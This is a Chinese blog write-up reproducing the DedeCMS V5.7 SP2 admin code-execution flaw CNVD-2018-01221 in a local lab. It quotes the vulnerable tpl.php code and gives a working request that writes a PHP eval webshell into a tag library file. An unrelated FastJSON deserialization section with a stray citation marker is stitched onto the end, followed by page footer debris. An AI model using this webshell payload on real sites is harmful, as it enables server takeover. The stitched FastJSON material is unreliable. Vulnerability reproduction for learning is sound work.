dedeCMS后台代码执行漏洞-CNVD-2018-01221

复现的第一个漏洞,CNVD-2018-01221,虽然有些鸡肋(要拿到管理员权限),但还是从中学到了很多

DeDeCMS简介

织梦内容管理系统(DedeCms)是一款PHP开源网站管理系统。DeDeCMS V5.7 SP2版本中的tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。以下是漏洞详情
在这里插入图片描述

环境搭建

DeDeCMS官网:http://www.dedecms.com
网站源代码版本:DeDeCMS V5.7 SP2(UTF-8)
网站源码下载:http://www.dedecms.com/products/dedecms/downloads/
下载好后放到本地WWW目录下,然后开启PHPstudy,在浏览器访问
在这里插入图片描述
点击我已阅读并继续。然后是环境检测,保存默认即可
在这里插入图片描述
接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了
在这里插入图片描述
然后就把环境搭好了,是不是很简单!
在这里插入图片描述

漏洞复现

由于此漏洞属于后台漏洞,所以我们要先登陆到后台,默认账号和密码都是admin。DeDeCMS默认后台路径是/uploads/dede,正常情况下,一个网站的后台路径肯定会被管理员更改,现在我们只做测试用,所以直接登陆。
在这里插入图片描述
根据已经公开的漏洞详情,我们知道tpl.php里面有代码执行漏洞,下面我们来找到tpl.php中存在漏洞的地方,这里就考验到代码审计能力了

/*---------------------------
function savetagfile() { }
保存标签碎片修改
--------------------------*/
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

代码分析

(1)此处定义了一个savetagfile的函数,首先做一个判断,参数“action”是否等于savetagfile,如果等于,就进行下一步
(2)csrf_chack(),这里有一个csrf检验的函数,我们需要加上token来绕过,token是登陆的令牌,当我们向服务器发送登录请求时,在客户端会生成一个用于验证的令牌。
(3)正则表达式匹配,详情参见https://www.runoob.com/regexp/regexp-rule.html*
[a-z0-9_-]{1,}的意思是,匹配所有包含一个以上的字母数字下划线和横杠,后面的\.意思是匹配小数点
所以最终那个判断条件的意思是如果参数filename不符合上述的匹配条件,那么就不允许修改操作的进行
(4)preg_replace的意思是执行一个正则表达式的搜索和替换,我们可以通过例子来分析一下,发现得到的$tagname的值为moonsec
(5)stripslashes()的作用是引用用一个引用字符串,此处没有多大的作用
(6)最后是把$content里的内容写入到相对用的路径里,问题就出在了这里,这一部分代码除了对写入的文件名字做了简单的过滤,除了有一个csrf防护之外,其他并没有什么安全措施,导致我们可以任意写入代码,如果我们直接写入一句话木马,那么就可以直接连上去拿webshell了

在这里插入图片描述
分析完之后就可以进行实际操作了,先理一下思路,我们根据上面的代码知道要上传的参数有:action,token,filename,content.现在只剩下获取token了,要怎么才能获取到token呢?我们再去tpl.php里看一下,发现action的参数有很多,比如del,upoladok,edit,upload等等,但只有传入upload的时候页面才会回显正常,而其他的都会显示token异常,所以只能通过action=upload来获取token,查看页面源代码
在这里插入图片描述
所以构造payload如下
域名+/tpl.php?action=savetagfile&token=&filename=abc.lib.php&content=<?php @eval($_POST['xxx'])?>
发现成功写入
在这里插入图片描述
并且在相应的目录下也找到了abc.lib.php,接下来的菜刀连接就不用再多说了吧!(手动滑稽)

总结

漏洞复现的目的是让自己明白哪些地方容易有漏洞,应该怎么处理发现的漏洞,通过反复的练习才会有长足的进步。

### 复现 FastJSON 反序列化远程代码执行漏洞 CNVD-2020-30827 #### 准备工作 为了复现漏洞,需准备以下条件: - 使用受影响版本的 FastJSON 库(<= 1.2.64),因为这些版本存在反序列化过程中处理 `@type` 字段的安全缺陷[^1]。 - 构建一个能够接收 JSON 输入的应用程序接口。 #### 漏洞原理说明 FastJSON 在解析含有 `@type` 的 JSON 数据时会尝试实例化对应的 Java 类对象。如果应用程序允许不受信任的数据源提供此类输入,则可能触发任意代码执行。特别是当开启 autotype 功能后,风险显著增加,攻击者可以通过精心构造的 payload 实现 RCE (Remote Code Execution)。 #### 利用过程描述 构建恶意负载的关键在于找到合适的 gadget chain 来达成最终的目标——执行任意命令。对于 CNVD-2020-30827 特定情况而言,通常涉及利用某些标准库中的类作为起点,比如 JdkSerializeRMI 或其他能间接导致 shell 命令被执行的方法路径。 具体来说,可以创建如下结构的 JSON 负载用于测试目的(请注意这仅限于合法授权下的安全研究环境内操作): ```json { "@type": "java.net.InetAddress", "val": "localhost" } ``` 上述例子展示了最基础形式之一;实际攻击场景下可能会更加复杂,并且依赖具体的业务逻辑以及可用 gadgets 组合而成更强大的链路来完成整个攻击面覆盖。 #### 安全建议 鉴于该类型的漏洞可能导致严重的安全隐患,在生产环境中应严格限制对外部可控数据使用 FastJSON 进行反序列化操作,并及时升级至官方发布的最新稳定版以获得必要的修复补丁和支持。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值